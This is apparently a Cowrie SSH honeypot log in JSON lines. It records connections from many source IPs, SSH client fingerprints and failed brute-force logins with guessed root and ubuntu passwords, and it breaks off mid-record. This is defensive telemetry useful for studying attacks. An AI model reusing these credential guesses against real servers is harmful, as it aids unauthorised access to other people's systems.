{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:33.248447Z","src_ip":"15.204.225.76","session":"902deac80890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qQ","message":"login attempt [root/123456qQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:33.325629Z","src_ip":"15.204.225.76","session":"902deac80890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000000000","message":"login attempt [root/0000000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:33.838590Z","src_ip":"182.253.79.194","session":"d384fad48845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:34.342462Z","src_ip":"15.204.225.76","session":"902deac80890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:35.104831Z","src_ip":"182.253.79.194","session":"d384fad48845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33242,"dst_ip":"159.203.135.109","dst_port":22,"session":"01f78b58fedb","protocol":"ssh","message":"New connection: 87.251.79.125:33242 (159.203.135.109:22) [session: 01f78b58fedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:41.066176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:41.071139Z","src_ip":"87.251.79.125","session":"01f78b58fedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:41.144490Z","src_ip":"87.251.79.125","session":"01f78b58fedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toshiba","message":"login attempt [root/toshiba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:41.364639Z","src_ip":"87.251.79.125","session":"01f78b58fedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:42.441505Z","src_ip":"87.251.79.125","session":"01f78b58fedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":53058,"dst_ip":"159.203.135.109","dst_port":22,"session":"afb062f89a80","protocol":"ssh","message":"New connection: 193.32.162.151:53058 (159.203.135.109:22) [session: afb062f89a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:47.380112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:47.384433Z","src_ip":"193.32.162.151","session":"afb062f89a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:47.497569Z","src_ip":"193.32.162.151","session":"afb062f89a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public_django_project","password":"12345678","message":"login attempt [public_django_project/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:47.803814Z","src_ip":"193.32.162.151","session":"afb062f89a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:48.906500Z","src_ip":"193.32.162.151","session":"afb062f89a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":33122,"dst_ip":"10.17.0.5","dst_port":22,"session":"d65e855264e5","protocol":"ssh","message":"New connection: 150.109.20.59:33122 (10.17.0.5:22) [session: d65e855264e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:04.870788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:04.878245Z","src_ip":"150.109.20.59","session":"d65e855264e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:05.116330Z","src_ip":"150.109.20.59","session":"d65e855264e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd123","message":"login attempt [root/passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:06.093901Z","src_ip":"150.109.20.59","session":"d65e855264e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":42048,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f2453ece6ef","protocol":"ssh","message":"New connection: 40.117.97.0:42048 (10.17.0.5:22) [session: 2f2453ece6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:07.236836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:07.242459Z","src_ip":"40.117.97.0","session":"2f2453ece6ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:07.257021Z","src_ip":"40.117.97.0","session":"2f2453ece6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:07.334542Z","src_ip":"150.109.20.59","session":"d65e855264e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mima2013","message":"login attempt [root/mima2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:07.349332Z","src_ip":"40.117.97.0","session":"2f2453ece6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:08.575894Z","src_ip":"40.117.97.0","session":"2f2453ece6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41926,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dfedfbca1a3","protocol":"ssh","message":"New connection: 147.45.199.80:41926 (159.203.135.109:22) [session: 8dfedfbca1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:12.968801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:12.973983Z","src_ip":"147.45.199.80","session":"8dfedfbca1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:13.073168Z","src_ip":"147.45.199.80","session":"8dfedfbca1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"planeta","message":"login attempt [root/planeta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:13.371450Z","src_ip":"147.45.199.80","session":"8dfedfbca1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:14.474873Z","src_ip":"147.45.199.80","session":"8dfedfbca1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":58726,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f9d1582c19f","protocol":"ssh","message":"New connection: 103.183.114.55:58726 (10.17.0.5:22) [session: 7f9d1582c19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:24.214176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:24.225315Z","src_ip":"103.183.114.55","session":"7f9d1582c19f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:24.459368Z","src_ip":"103.183.114.55","session":"7f9d1582c19f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159357a","message":"login attempt [root/159357a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:25.388307Z","src_ip":"103.183.114.55","session":"7f9d1582c19f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:26.638944Z","src_ip":"103.183.114.55","session":"7f9d1582c19f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":41288,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a257050f975","protocol":"ssh","message":"New connection: 43.173.90.78:41288 (159.203.135.109:22) [session: 9a257050f975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:28.331912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:28.337162Z","src_ip":"43.173.90.78","session":"9a257050f975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:28.405060Z","src_ip":"43.173.90.78","session":"9a257050f975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd2025","message":"login attempt [ubuntu/P@ssw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:28.709080Z","src_ip":"43.173.90.78","session":"9a257050f975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:29.781296Z","src_ip":"43.173.90.78","session":"9a257050f975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.227.24","src_port":40606,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e2098c321b","protocol":"ssh","message":"New connection: 192.250.227.24:40606 (10.17.0.5:22) [session: b4e2098c321b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:32.877595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:44:32.882378Z","src_ip":"192.250.227.24","session":"b4e2098c321b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-grou